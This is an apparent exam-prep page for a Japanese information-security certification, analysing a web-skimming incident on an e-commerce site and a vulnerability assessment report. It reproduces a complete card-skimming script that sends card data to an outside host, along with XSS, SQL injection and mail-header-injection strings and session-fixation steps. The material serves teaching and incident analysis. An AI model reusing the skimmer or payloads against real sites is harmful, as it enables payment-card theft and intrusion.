枠で囲んだ ECMAScript(全16行,行番号付き)。1: if (location.pathname == '/shopping'){。2: let elem = document.querySelector("#shopping-form > div > div > div.order_payment > div.radio");(原本では2行に折り返している)。3: elem.innerHTML='<p>カード番号<input type="text" id="get_number" /></p><p>有効期限<input type="text" id="get_exp_month" />月/<input type="text" id="get_exp_year" />年</p><p>名義<input type="text" id="get_name" /></p><p>セキュリティコード<input type="text" id="get_code" /></p><input type="hidden" name="order[Payment]" value="1" />';(原本では4行に折り返している)。4: let form = document.getElementById('shopping-form');。5: form.addEventListener('submit', function() {。6: const req = new XMLHttpRequest();。7: let number = document.getElementById('get_number').value;。8: let exp_month = document.getElementById('get_exp_month').value;。9: let exp_year = document.getElementById('get_exp_year').value;。10: let name = document.getElementById('get_name').value;。11: let code = document.getElementById('get_code').value;。12: let url = 'https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;(原本では2行に折り返している)。13: req.open("GET", url);。14: req.send();。15: });。16: }。
図2 整形後のファイル K
枠で囲んだ HTML ソース(原本に行番号は無い)。(省略)。<form id="shopping-form" method="post" action="/payment">。<div class="order">。<div class="order_detail">。(省略)。<div class="order_payment">。<div><h2>お支払方法</h2></div>。<div class="radio">。<input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />(原本では2行に折り返している)。<label for="Payment_1"><span>クレジットカード決済</span></label>。<input type="radio" id="Payment_2" name="order[Payment]" required data-trigger="change" value="2" />(原本では2行に折り返している)。<label for="Payment_2"><span>銀行振込</span></label>。</div>。(省略)。<button type="submit" class="blockBtn">次へ</button>。</form>。(省略)。<script src="/ec-j/layout/js/customize.js"></script>。</body>。</html>。注記 CSRF 対策のトークンの記述は省略している。
図3 配送先・支払方法選択画面の HTML ソース

その後,6 月 16 日に V 社から,customize.js の置換えについての調査結果及び対処の報告があった。その報告を図4に示す。

枠で囲んだ報告。・V 社で PUT メソッドに関する設定変更を 6 月 8 日 18 時 12 分に実施した。Web サーバのファイル更新は,事前申請をした後に Web サーバに SSH で接続して行う運用であるが,V 社の作業者が SSH で接続せずにファイルを更新できるように,/ec-j/layout/js/配下だけ,未認証でも PUT メソッドでファイルの更新を許可する設定にした。・V 社で 6 月 9 日 9 時 00 分から 10 時 42 分の間に J 社 EC サイトのメンテナンスを実施した。メンテナンスでは PUT メソッドを使用した。・customize.js の置換えは 6 月 11 日 13 時 12 分に行われた。PUT メソッドを使って,ファイル K に置き換えられた。Web アプリ P の仕様上,customize.js の読み込みは無効にできない。customize.js 以外のファイルの置換えはなかった。・6 月 16 日 8 時 5 分に PUT メソッドによるファイルの更新を禁止する設定にし,customize.js を置換え前のファイルに戻した。・6 月 16 日 9 時 00 分に Cache Busting を実施した。ファイル K のキャッシュ破棄と customize.js の再読込みの二つを行わせるための変更をした。
図4 V 社からの調査結果及び対処の報告

〔クレジットカード情報の漏えいの調査と対策〕

本件に関する利用者からの問合せは,6 月 15 日 21 時 45 分が最後であり,合計 32 件あった。次は,customize.js の置換えによる影響の調査に関する R さんと G さんの会話である。

その後,G さんは,プロキシサーバなどのキャッシュの影響も考慮した上で,被害者候補を特定し,その情報を基に案内を出した。また,J 社は,関係当局に報告,届出を行うとともに,V 社と協力して再発防止策を検討し,実施した。さらに,Web サーバのファイルの改ざん検知の検討を行うことにした。

出題趣旨(IPA)

Webサイトの改ざんが発生したときには,悪用された脆弱性,影響を受けた利用者及びデータの範囲などを特定し,再発防止策を講じる必要がある。本問では,ECサイトのWebスキミングによるクレジットカード情報の漏えいを題材として,HTMLの仕様,ECMAScriptの仕様,Webサーバの動作及びWebアプリケーションプログラムの脆弱性に関する知識及び影響を受けた利用者を特定する能力を問う。

採点講評(問全体・IPA)

問3では,ECサイトのクレジットカード情報の漏えいを題材に,Webサイトの改ざん手法と影響を受けた利用者の調査について出題した。全体として正答率は平均的であった。

設問と解答例

設問1 解答欄5つ

本文中の a ~ e に入れる適切な行番号又は字句を答えよ。

〔a〕解答例

  • 5

〔b〕解答例

  • クロスサイトスクリプティング

〔c〕解答例

  • 格納

〔d〕解答例

  • 2

〔e〕解答例

  • SQLインジェクション
解説

本文の根拠

表2 行番号5

5 GET /cart?add="><script>document.getElementById(… 200

表2 行番号2

2 GET /login?id=hoge&pw=' UNION select 1 FROM… 200

R さんと G さんの会話

G さん:表2の a 行目が b 脆弱性を狙った攻撃だと思いますが,そういった攻撃であれば偽フォームの表示が可能です。さらに b 脆弱性が c 型であれば,1 回の攻撃で多数の利用者に対して偽フォームの表示が可能です。

R さんと G さんの会話

G さん:Web アプリ P が,DB サーバに格納している情報を基に Web ページを動的に生成していれば可能かもしれません。

a・b は,偽フォーム(クレジットカード情報の入力欄)を画面に差し込める攻撃である。表2の 5 行目は cart の add パラメータに“"><script>document.getElementById(…”が入っており,属性値を閉じて script 要素を差し込む形なので,クロスサイトスクリプティング(XSS)脆弱性を狙った攻撃である。スクリプトで画面の DOM を書き換えれば偽フォームを表示できる。さらに,攻撃用の文字列が Web アプリ P の DB サーバに保存され,ページを開いた利用者全員の画面に出力される格納型なら,1 回の攻撃で多数の利用者に偽フォームを見せられる。反射型は利用者ごとに細工した URL を踏ませる必要があり,1 回の攻撃では済まない。

d・e は,2 行目の pw に“' UNION select 1 FROM…”が付いたログインの要求で,SQL の文に別の SELECT をつなげて DB の値を取り出す SQL インジェクションである。成功すれば DB の値を差し込んだページが生成されうるため,G さんの言うとおり,ページを DB の情報から動的に生成していれば,偽フォームの表示ができるかもしれない。

間違えやすい点。6 行目の“green's sofa”も単一引用符を含むが,値を取り出すための UNION select まで読み取れるのは 2 行目である。XSS の三種類(反射型,格納型,DOM ベース)の違いを区別して答える。講評にも,c の正答率がやや低かったとある。

採点講評(IPA)

設問1cは,正答率がやや低かった。クロスサイトスクリプティング(XSS)脆弱性は反射型,格納型,DOMベースの3種類あるが,ログから攻撃を分析するためにもそれらの違いを理解してほしい。

設問2(1)

本文中の下線①について,書換え後の画面全体を図示せよ。

解答例(図)

配送先・支払方法選択画面の書換え後の画面全体。見出し“配送先・支払方法選択”,“配送先”のプルダウン,“お支払方法”の下に,ラジオボタンの代わりにクレジットカード情報の入力欄(カード番号,有効期限(月/年),名義,セキュリティコード)が並び,下に“戻る”“次へ”ボタンがある。
解説

本文の根拠

図2 2〜3行目

let elem = document.querySelector("#shopping-form > div > div > div.order_payment > div.radio");

図2 3行目

elem.innerHTML='<p>カード番号<input type="text" id="get_number" /></p>

図3

<div class="order_payment">。<div><h2>お支払方法</h2></div>。<div class="radio">。<input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />

図3

<button type="submit" class="blockBtn">次へ</button>

図1 /shopping

/shopping(配送先・支払方法選択):配送先のプルダウン,お支払方法(クレジットカード決済が選択済み,銀行振込),“戻る”“次へ”ボタン。

ファイル K の 2 行目は,form#shopping-form の下の div.order_payment の中の div.radio(図3では二つのラジオボタンとラベルを入れた div)を取得し,3 行目でその中身を innerHTML で入れ替える。入れ替え後の中身は,カード番号・有効期限(月/年)・名義・セキュリティコードの入力欄と,value=1 の hidden 項目である。

書換え後の画面は,見出し“配送先・支払方法選択”,“配送先”のプルダウン,“お支払方法”の見出し(div.radio の外にあるので残る)の下に,クレジットカード情報の四つの入力欄が並び,その下に“戻る”“次へ”ボタンがある画面になる。ラジオボタン(クレジットカード決済・銀行振込)は消える。図示するときは,入力欄の並び(カード番号,有効期限は“月/年”の二つ,名義,セキュリティコード)と,ボタンを省かない。

間違えやすい点。講評のとおり,書換え対象のラジオボタンの選択肢を残したり,書き換えられていない配送先や見出しまで消したりする過不足の解答が多かった。書換えの範囲は div.radio の中だけである。

採点講評(IPA)

設問2(1)は,正答率がやや低かった。書換え対象のラジオボタンの選択肢が残っていたり,余計な改ざんがされていたりといった改ざん内容に過不足のある解答が散見された。HTML,DOMの仕組みを利用した画面の書換えは攻撃で悪用される可能性があるので,よく理解してほしい。

設問2(2) 解答欄2つ

本文中の下線②について,パラメータ名とその値を答えよ。

〔パラメータ名〕解答例

  • order[Payment]

〔値〕解答例

  • 1
解説

本文の根拠

図2 3行目

<input type="hidden" name="order[Payment]" value="1" />';

図3

<input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />

図3

<label for="Payment_1"><span>クレジットカード決済</span></label>

本文 〔偽フォーム表示の原因の調査と対策〕

②配送先・支払方法選択画面から支払手続画面への画面遷移の処理で利用しているパラメータの値が変更され,支払方法がクレジットカード決済に固定されていた。

図3では,支払方法のラジオボタンの name が order[Payment],value が 1(クレジットカード決済)と 2(銀行振込)で,フォームの送信(method="post",action="/payment")で選択された値が支払手続画面に渡される。ファイル K は,ラジオボタンを消したあとに type="hidden",name="order[Payment]",value="1" の隠し項目を差し込んでいる。

そのため利用者はどちらを選んでも order[Payment]=1 が送られ,支払方法がクレジットカード決済に固定される。利用者から“支払方法が勝手にクレジットカード決済になる”という問合せがあった理由である。

書き方の注意。答えは“パラメータ名”と“値”の二つの欄で,order[Payment] と 1 を書く。1 はクレジットカード決済を表す値で,図3の value="1" のラジオボタンのラベルが“クレジットカード決済”であることから読み取れる。

設問2(3)

図2について,4~15 行目の処理内容を具体的に答えよ。

解答例

  • addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し,submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する。
解説

本文の根拠

図2 5行目

5: form.addEventListener('submit', function() {

図2 7〜11行目

7: let number = document.getElementById('get_number').value;

図2 12行目

let url = 'https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;

図2 13〜14行目

13: req.open("GET", url);。14: req.send();

4 行目で form#shopping-form(配送先・支払方法選択画面のフォーム)を取得し,5 行目で submit(“次へ”ボタンでの送信)のたびに実行する処理を登録している。その中身は,6 行目で XMLHttpRequest を作り,7〜11 行目で偽フォームの各入力欄(カード番号,有効期限の月と年,名義,セキュリティコード)の値を取り出し,12 行目でそれらをクエリパラメータにした URL(https://i-sha.com/?num=…&exp=…&name=…&code=…)を組み立て,13〜14 行目でその URL に GET リクエストを送る,というものである。

つまり,フォームが送信されるときに,入力されたクレジットカード情報を攻撃者のサイト i-sha.com へクエリパラメータとして送信している。フォーム自体の送信(action="/payment")も続くので,利用者には正規の画面が続いて表示され,気付きにくい。

書き方の注意。“イベントリスナーを登録し,submit 時に”“クレジットカード情報を”“クエリパラメータとして”“i-sha.com に送信する”の四点をそろえる。

設問3(1)

本文中の下線③について,攻撃者の Web サーバでクレジットカード情報を取得する方法を答えよ。

解答例

  • WebサーバのアクセスログのリクエストURIから情報を取得する。
解説

本文の根拠

図2 12〜14行目

12: let url = 'https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;

R さんと G さんの会話

R さん:ダミーのクレジットカード情報を設定して図2で GET リクエストが送られる先の URL にアクセスしたところ,404 のステータスコードが返ってきた。

R さんと G さんの会話

G さん:③利用者が改ざんされた画面に入力して,クレジットカード情報が送信されてしまったときに,攻撃者の Web サーバで Web アプリケーションプログラムを用意していなくても,攻撃者は利用者の入力したクレジットカード情報を取得する方法があります

表2 注記 3

注記 3 リクエスト URI は,URL デコード済みである。

図2では,クレジットカード情報が GET のクエリパラメータ(URL の一部)として攻撃者のサイトに送られる。Web サーバは,要求に対するアプリケーションが無く 404 を返す場合でも,受けた要求の URI をアクセスログに記録する。本問の表2も,J 社の Web サーバのアクセスログがリクエスト URI を記録している例である。

したがって攻撃者は,自分の Web サーバのアクセスログのリクエスト URI から,num・exp・name・code の値を読み取ればよく,Web アプリケーションプログラムを用意する必要が無い。404 が返ったことは盗まれていない根拠にならない。

間違えやすい点。講評によれば“通信を盗聴する”“キーロガーを仕掛ける”といった答えが散見された。通信は i-sha.com 宛てに利用者自身が送っており,攻撃者が盗聴する必要は無い。

採点講評(IPA)

設問3(1)は,正答率が平均的であった。通信を盗聴する,キーロガーを仕掛けるといった解答が散見された。クレジットカード情報がクエリパラメータとして送られ,かつWebサーバのアクセスログにリクエストURIが記録されることを理解した上で解答してほしい。

設問3(2) 解答欄1つ

本文中の f に入れる適切な字句を答えよ。

〔f〕解答例

  • 配送先・支払方法選択画面にアクセスしたアカウント名
解説

本文の根拠

〔J 社 EC サイトの構成〕

Web アプリ P のアプリケーションログには,アクセス日時,画面名,アカウント名,アクセス元 IP アドレスなどが記録される。

R さんと G さんの会話

G さん:V 社の報告から,customize.js の置換えの影響のあった期間は 6 月 11 日 13 時 12 分から 6 月 16 日 9 時 00 分と考えられます。攻撃者の Web サーバにクレジットカード情報を送信する直前までの操作をした利用者を被害者候補として特定するために,その期間のアプリケーションログから f を抽出したいと思います。

図2 1行目

1: if (location.pathname == '/shopping'){

R さんと G さんの会話

R さん:クレジットカード情報の漏えいの可能性について利用者に案内を出したい。攻撃者の Web サーバにクレジットカード情報を送信した利用者を特定してほしい。攻撃者の Web サーバに情報を送信してしまった利用者は漏れなく特定したいが,送信していない利用者はできるだけ含めたくない。

ファイル K の処理は,パスが /shopping(配送先・支払方法選択画面)のときだけ働く(図2の 1 行目)。したがって偽フォームが表示されるのは,ファイル K が有効だった期間(6 月 11 日 13 時 12 分〜6 月 16 日 9 時 00 分)に,この画面を開いた利用者だけである。漏れなく特定するために,アプリケーションログから,その期間に配送先・支払方法選択画面にアクセスしたアカウント名を抽出すれば,被害者候補が得られる。

アプリケーションログには画面名とアカウント名が記録されるので,この二つで絞れる。ショッピングカートなど手前の画面だけを開いた利用者や,期間外の利用者は含めずに済み,“送信していない利用者はできるだけ含めたくない”という条件にも合う。

間違えやすい点。IP アドレスで抽出すると,同じ利用者が別の端末や回線から使った場合に漏れる。期間,画面名(配送先・支払方法選択画面),アカウント名の三点をそろえる。

出典:令和6年度 秋期 情報処理安全確保支援士試験 午後 問3(表記を一部改変)

問4 セキュリティ診断

セキュリティ診断に関する次の記述を読んで,設問に答えよ。

B 社は,セキュリティ診断サービスを提供している会社である。このたび,転職支援サービスを提供している M 社から,転職支援 Web サイト(以下,M サイトという)のセキュリティ診断を受注した。

M サイトを利用する求職者は,氏名,自宅住所,電話番号,勤務先などの求職者属性情報と,希望職種,希望条件などの求職情報を入力する。求人企業は,会社情報,求人情報,求人担当者の氏名,所属部署などの情報を入力する。これらの情報は,M サイトのデータベースに保存される。M サイトでは,入力された情報に基づいて,求職者と求人企業のマッチングを行っている。求職者は,マッチングで提案された企業に問合せや応募をすることができる。

M サイトは,機能を追加した新しいバージョンの Web アプリケーションプログラム(以下,M サイトの Web アプリケーションプログラムを Web アプリという)と,求人企業がアプリケーションプログラムから HTTPS で呼び出すことを想定したインタフェース(以下,このインタフェースを WebAPI という)の開発が完了したところであり,リリース前である。

〔セキュリティ診断の診断対象と診断方法〕

今回のセキュリティ診断の診断対象と診断方法は,図1のとおりである。

枠で囲んだ診断対象と診断方法。【診断対象】・M サイトには本番用サイトと検証用サイトがあり,診断対象は M サイトの検証用サイトとする。検証用サイトには,開発が完了した新しいバージョンの Web アプリが導入されている。なお,本番用サイトと検証用サイトは,同一の構成である。・検証用サイトでは,アクセス元の IP アドレスを制限している。診断に当たり,B 社からも検証用サイトにアクセスできるように,検証用サイトの設定を変更する。・検証用サイトには,テスト用疑似データが投入されている。【診断方法】・B 社の社内にある診断用 PC からインターネットを経由して診断を行う。・Web アプリの脆弱性の検出と,Web サーバのプラットフォームの脆弱性の検出を行う。・Web アプリの脆弱性の検出は,診断ツールと診断員の手作業で行う。・Web サーバのプラットフォームの脆弱性の検出は,診断ツールで行う。・診断に当たり,必要に応じて M サイトの設計書を参照する。
図1 診断対象と診断方法

M サイトの設計書の中で参照した部分を,図2,図3及び表1に示す。

枠で囲んだ WebAPI の仕様。1. プロトコルは,HTTPS とする。2. RESTful API によって,次の機能を求人企業に提供する。(1) 日時の範囲を指定して,当該企業宛てに問合せがあった求職者の求職者 ID 1) を取得する。(2) 日時の範囲を指定して,当該企業宛てに応募があった求職者の求職者 ID を取得する。(3) 任意の求職者 ID を指定して,求職者属性情報を取得する。3. 求人企業の認証方式は次のとおりとする。(1) WebAPI を利用する際の利用者認証のために,M サイトの利用者 ID 2) と紐付けられた APIkey を発行する。APIkey の有効期間は,発行後 14 日間とする。(2) WebAPI を利用する際の HTTP Request 内の APIkey が,発行済みのものであり,かつ,有効期間内であるか確認することで,正規利用者であるかどうかを確認する。4. APIkey については,次のとおりとする。(1) 求人企業のうち,WebAPI の利用契約を締結済みの企業だけに APIkey を発行する。利用契約で認めている求職者属性情報の利用範囲は,当該企業への問合せ又は当該企業への応募それぞれに関する対応だけである。(2) 一つの利用者 ID に対して複数の APIkey を発行できる。(3) 求職者には,APIkey を発行しない。注 1) 求職者が M サイトに利用者登録をした年月日の 8 桁の数字の後ろに,日ごとに 000001 から登録順に割り当てられる 6 桁の数字を加えた数字 14 桁の文字列である。注 2) M サイトを利用する求職者及び求人企業の担当者ごとに発行される。
図2 WebAPI の仕様
画面遷移図(前半)。実線の矢印は“クロスサイトリクエストフォージェリ(CSRF)対策が施されていない画面遷移”,破線の矢印は“CSRF 対策が施された画面遷移”を表す。PW はパスワード,メールは電子メール,封筒の記号はメールを表す。01 ログイン:利用者 ID と PW の入力欄,“PW 再設定”ボタン,“ログイン”ボタン。ログインから(ア)で01の入力欄に戻り,(イ)で02へ遷移する。“PW 再設定”から(ウ)で14へ遷移する。02 求人企業トップ:“求人情報登録”“応募者確認”“問合せ確認”“マイページ”ボタン。マイページから(エ)で03へ遷移する。03 求人企業マイページ:“APIkey 管理”“プロパティ変更”“PW 変更”ボタン。APIkey 管理から(オ)で04へ,プロパティ変更から(カ)で09へ,PW 変更から(キ)で12へ遷移する。04 APIkey 管理:発行済み APIkey 数:3,“APIkey 確認”“APIkey 発行”ボタン。APIkey 確認から(ク)で05へ,APIkey 発行から(ケ)で07へ遷移する(いずれも実線)。05 PW 再確認(1):PW 入力欄と“APIkey 確認”ボタン。(コ)で06へ遷移する(破線)。06 APIkey 一覧:001:01234…abcde,002:stuvw…98765,003:abcde…09876,“OK”ボタン。(サ)で03へ遷移する(実線)。07 PW 再確認(2):PW 入力欄と“APIkey 発行”ボタン。(シ)で08へ遷移する(破線)。08 APIkey 発行:004:12345…bcdef,“OK”ボタン。(ス)で03へ遷移する(実線)。09 求人企業プロパティ変更:会社名,部署名,メールアドレスなどの入力欄と“変更”ボタン。“変更”から,メール(あ)を送信して(セ)1)で10 メール送信完了(1)(“メールを送信しました。メール中のリンクから処理を継続してください”)へ遷移し,また(ソ)2)で11 求人企業プロパティ変更完了(“プロパティを変更しました”,“OK”ボタン)へ遷移する(いずれも破線)。11の“OK”から(タ)で03へ遷移する(実線)。12 PW 変更:旧 PW,新 PW,新 PW(確認用)の入力欄と“変更”ボタン。(チ)で13 PW 変更完了(“PW を変更しました”,“OK”ボタン)へ遷移する(破線)。13の“OK”から(ツ)で03へ遷移する(実線)。
図3 画面遷移図(抜粋)
画面遷移図(後半)と注記。14 PW 再設定(1):利用者 ID の入力欄と“メール送信”ボタン。“メール送信”から,メール(い)を送信して(テ)3)で15 メール送信完了(2)(“メールを送信しました。メール中のリンクから処理を継続してください”)へ遷移する(破線)。16 PW 再設定(2):新 PW,新 PW(確認用)の入力欄と“PW 再設定”ボタン。(ト)で17 PW 再設定完了(“PW を再設定しました”,“OK”ボタン)へ遷移する(破線)。17の“OK”から(ナ)で01へ遷移する(実線)。注記 1 ログインしていない状態で,02~13 の画面にアクセスした場合,エラー画面が表示される。注記 2 設問に関係しない画面,ボタン及び画面遷移は省略している。注 1) 画面 09 でメールアドレスを変更した場合の画面遷移である。画面遷移の際,M サイトから,変更前のメールアドレスに,確認用 URL が記載されたメール(あ)を送信する。利用者がメール(あ)に記載された確認用 URL にアクセスすると,変更を反映し,画面 11 を表示するとともに,M サイトから,変更前及び変更後のメールアドレスに,変更内容が記載されたメールを送信する。注 2) 画面 09 でメールアドレス以外だけを変更した場合の画面遷移である。注 3) 画面遷移の際,M サイトから,登録しているメールアドレスに,PW 再設定用 URL が記載されたメール(い)を送信する。利用者がメール(い)に記載された PW 再設定用 URL にアクセスすると,画面 16 を表示する。
図3 画面遷移図(抜粋)(続き)
画面番号と URL の2列の表。01,02:https://test.△△△.jp/。03:https://test.△△△.jp/mypage。04:https://test.△△△.jp/apikey。05,06:https://test.△△△.jp/keylist。07,08:https://test.△△△.jp/keynew。09,10,11:https://test.△△△.jp/property。12,13:https://test.△△△.jp/pwchange。14,15:https://test.△△△.jp/pwreset。16,17:https://test.△△△.jp/pwreset/x 1)。注 1) x は,PW 再設定を行う都度生成されるランダムな英数字 32 字の文字列である。
表1 各画面の URL

〔セキュリティ診断報告書〕

B 社は,セキュリティ診断を実施し,図4の診断報告書を作成した。

枠で囲んだ診断報告書(1/5)。1章 診断結果概要。1.1 診断結果要約:M サイトで,脆弱性を検出した。(省略)。1.2 検出した脆弱性の件数:(省略)。2章 Web アプリケーションプログラムの診断結果。2.1 検出した脆弱性の概要:検出した脆弱性は,表 A のとおりである。表 A 検出した Web アプリケーションプログラムの脆弱性の一覧(項番,重要度,脆弱性の種類,検出箇所):項番1 (省略) セッションフィクセーション 画面遷移 [ a ]。項番2 (省略) メールヘッダーインジェクション メール(あ)の送信。項番3 (省略) HTTP ヘッダーの不備 全ての画面遷移。2.2 検出した脆弱性の説明。2.2.1 セッションフィクセーション。(1) 脆弱性の内容:M サイトでは form 内の hidden フィールドである sessionID の値だけでセッション管理を実施していた。しかし,表 B のいずれの画面遷移においても,HTTP レスポンス中の sessionID の値が同一であった。表 B セッションフィクセーション脆弱性の確認(画面遷移,HTTP レスポンス中の sessionID):Web ブラウザに直接 URL を入力して,画面 01 を表示したとき:<input type="hidden" id="sessionID" name="sessionID" value="764b2ac2-0452-49e4-92a7-0914fa005011">。画面遷移(ア):<input type="hidden" id="sessionID" name="sessionID" value="764b2ac2-0452-49e4-92a7-0914fa005011">。画面遷移(イ):<input type="hidden" id="sessionID" name="sessionID" value="764b2ac2-0452-49e4-92a7-0914fa005011">。画面遷移(エ):<input type="hidden" id="sessionID" name="sessionID" value="764b2ac2-0452-49e4-92a7-0914fa005011">。(図4は次ページに続く)
図4 診断報告書
枠で囲んだ診断報告書(2/5)。攻撃者が図 A の手順でこの脆弱性を悪用すると,M サイトに不正にログインすることができる。図 A セッションフィクセーション脆弱性を悪用して不正ログインする手順(枠):手順 1:求人企業の登録メールアドレスを,何らかの方法で入手する。手順 2:URL“[ b ]”にアクセスして,sessionID を入手する。手順 3:次の二つの要素を含む HTML を作成する。- 手順 2 で入手した sessionID を記述したフォーム。- 当該 HTML が Web ブラウザに読み込まれた直後に,上記のフォームを URL“[ b ]”に POST メソッドで送信するスクリプト。手順 4:手順 3 で作成した HTML を,罠サイトに置く。手順 5:手順 4 の HTML へのリンクを含むメールを作成し,手順 1 で入手したメールアドレスに送信する。手順 6:手順 5 のメールがメール受信者に届き,罠サイトにアクセスするのを待つ。手順 7:罠サイトへのアクセスを検知後,[ c ] が完了することを期待して数分間待ち,手順 2 で入手した sessionID を指定した状態で,URL“[ b ]”にアクセスする。攻撃者が,セッションフィクセーション脆弱性を悪用して不正ログインに成功し,画面 02 で応募者確認ボタンをクリックして,当該企業の求人に応募した求職者の求職者属性情報と求職情報を閲覧できる。また,同じ画面 02 で問合せ確認ボタンをクリックして,当該企業に問合せを行った求職者の求職者属性情報と問合せ内容を閲覧できる。(2) 脆弱性の修正方法:[ a ] の画面遷移の際に実行されるコードにおいて,[ d ] することを推奨する。2.2.2 メールヘッダーインジェクション。この脆弱性は,メール(あ)について検出された。なお,メール(い)では,この脆弱性は検出されなかった。(1) 脆弱性の内容:図 B の手順で操作を行ったところ,メール(あ)が abc@example.com だけに送信され,本来の宛先である変更前のメールアドレスには送信されなかった。abc@example.com に送信されたメール(あ)の内容を表 C に示す。図 B メールヘッダーインジェクション脆弱性を検出した手順(枠):手順 1:画面 09 の会社名に図 C の検査文字列を入力して変更ボタンをクリックする。手順 2:画面 11 で OK ボタンをクリックする。手順 3:画面 03 でプロパティ変更ボタンをクリックして,再度,画面 09 を表示する。手順 4:画面 09 でメールアドレスに xyz@example.com を入力して変更ボタンをクリックする。(図4は次ページに続く)
図4 診断報告書(続き)
枠で囲んだ診断報告書(3/5)。図 C メールヘッダーインジェクションの検査文字列(枠):●●株式会社%0D%0ATo:abc@example.com%0D%0A%0D%0A。表 C メール(あ)の内容(位置,内容):メール(あ)のヘッダー部の末尾:Subject: ●●株式会社 / To:abc@example.com。メール(あ)のボディ部の冒頭:様のメールアドレス変更のお知らせ / To: <本来の宛先> 1)。注 1) <本来の宛先> には,変更前のメールアドレスが入っていた。攻撃者がこの脆弱性を悪用するには,求人企業として M サイトにログインする必要がある。求人企業としての登録には審査が必要であり,この脆弱性だけを利用して攻撃が行われるおそれは小さい。(2) 脆弱性の修正方法:(省略)。2.2.3 HTTP ヘッダーの不備。(1) 脆弱性の内容:表 D の HTTP ヘッダーは,出力するよう推奨されているが,いずれの画面遷移の HTTP レスポンスにおいても出力されなかった。表 D 出力されなかった HTTP ヘッダー(HTTP ヘッダー名,設定した場合の主な効果):Content-Security-Policy:Web ブラウザが実行可能なスクリプトの有効なソースとなるドメインを,M サイトで必要なものだけに限定することができる。Strict-Transport-Security:[ e ]。X-Content-Type-Options:[ f ]。これらの HTTP ヘッダーを設定することで他の脆弱性による被害を軽減することができる。(2) 脆弱性の修正方法:(省略)。(図4は次ページに続く)
図4 診断報告書(続き)
枠で囲んだ診断報告書(4/5)。3章 プラットフォームの診断結果。3.1 検出した脆弱性の概要:検出した脆弱性は,表 E のとおりである。表 E 検出したプラットフォームの脆弱性の一覧(項番,重要度,脆弱性の種類):1 (省略) TLS 1.1 が利用可能。2 (省略) HTTP サーバのバージョンの露出。3.2 検出した脆弱性の説明。3.2.1 TLS 1.1 が利用可能:(省略)。3.2.2 HTTP サーバのバージョンの露出:HTTP レスポンスのヘッダーに,HTTP サーバのバージョンが出力されている。(省略)。4章 総合評価。4.1 想定される攻撃と被害:攻撃者が,セッションフィクセーション脆弱性を悪用するだけでも求職者属性情報を窃取することができるが,図 D の順序で攻撃をした場合,不審なメールが求人企業に届かないので,攻撃に気付かれることなく,WebAPI を悪用して,より多くの求職者属性情報を窃取することができる。図 D より多くの求職者属性情報の窃取につながる攻撃(枠):(1) 図 A の手順で,M サイトに不正にログインする。ただし,図 A の手順 1 で入手するメールアドレスは,WebAPI の利用権限をもつ求人企業のものである。(2) [ g ]。(3) 画面 09 で,メールアドレスに攻撃者のメールアドレスを入力して,変更ボタンをクリックする。(4) 別の端末から,画面 01 で PW 再設定ボタンをクリックし,(1)で不正にログインした利用者 ID に対する一連のパスワード再設定処理を行う。(5) 再設定後のパスワードでログインする。(6) [ h ]。(7) WebAPI の機能を利用して,多数の求職者属性情報を窃取する。(省略)。(図4は次ページに続く)
図4 診断報告書(続き)
枠で囲んだ診断報告書(5/5)。5章 参考意見。本章は,弊社の知見に基づく参考意見である。5.1 M サイトの仕様についての意見:今回の診断の過程で,M サイトの仕様の一部を把握することができた。弊社が把握できた範囲内でも,M サイトの仕様には幾つかの問題点があり,表 A と表 E の脆弱性を修正したとしても,インターネットからの攻撃によって被害が発生するおそれがある。5.1.1 WebAPI の仕様の改善:WebAPI に関して,仕様の改善の方針案と改善すべき理由を表 F に示す。改善によって,攻撃による被害を未然に防止すること,又は被害を軽減することができる。表 F WebAPI の仕様の改善の方針案(項番,仕様の改善の方針案,改善すべき理由):項番1 [ i ] [ j ]。(以下省略)。5.1.2 Web アプリケーションプログラムの求職者向け機能の仕様の改善:(省略)。5.1.3 Web アプリケーションプログラムの求人企業向け機能の仕様の改善:Web アプリケーションプログラムの求人企業向け機能に関して,仕様の改善の方針案と改善すべき理由を表 G に示す。改善によって,攻撃による被害を未然に防止すること,又は被害を軽減することができる。表 G Web アプリケーションプログラムの求人企業向け機能の仕様の改善の方針案(項番,仕様の改善の方針案,改善すべき理由):項番1 [ k ] [ l ]。(以下省略)。(省略)。
図4 診断報告書(続き)

B 社は,M 社に診断報告書を提出し,セキュリティ診断を完了した。

出題趣旨(IPA)

脆弱性は一つ一つが軽微でも,複数組み合わせて悪用されると,重大な被害につながることがある。また,診断ツールで検出される脆弱性以外にも,想定される攻撃に対して,セキュリティ対策が不足しているといった脆弱性もある。診断者がこういった脆弱性も報告に含めることで,その後,システムのセキュリティが大きく向上することがある。本問では,個人情報を取り扱うWebサイトに対するセキュリティ診断を題材に,診断ツールで検出された脆弱性について,悪用された場合の被害を想定する能力及び被害を低減するための対策を立案する能力を問う。

採点講評(問全体・IPA)

問4では,個人情報を取り扱うWebサイトに対するセキュリティ診断を題材に,診断ツールで検出された脆弱性について,悪用された場合の被害及び被害を低減するための対策について出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄1つ

表 A 中及び 2.2.1(2) 中の a に入れる適切な記号を,図3中の画面遷移の記号(ア)~(ナ)から選び,答えよ。

〔a〕解答例

  • (イ)
解説

本文の根拠

図4 2.2.1(1)

M サイトでは form 内の hidden フィールドである sessionID の値だけでセッション管理を実施していた。しかし,表 B のいずれの画面遷移においても,HTTP レスポンス中の sessionID の値が同一であった。

図3 01 ログイン

ログインから(ア)で01の入力欄に戻り,(イ)で02へ遷移する。

表 B

Web ブラウザに直接 URL を入力して,画面 01 を表示したとき

セッションフィクセーションは,ログインの前後で sessionID が変わらないことを悪用する攻撃である。表 B のとおり,画面 01 を開いたとき,(ア),(イ),(エ)のいずれの画面遷移でも sessionID は同じ値で,ログインしても変わらない。

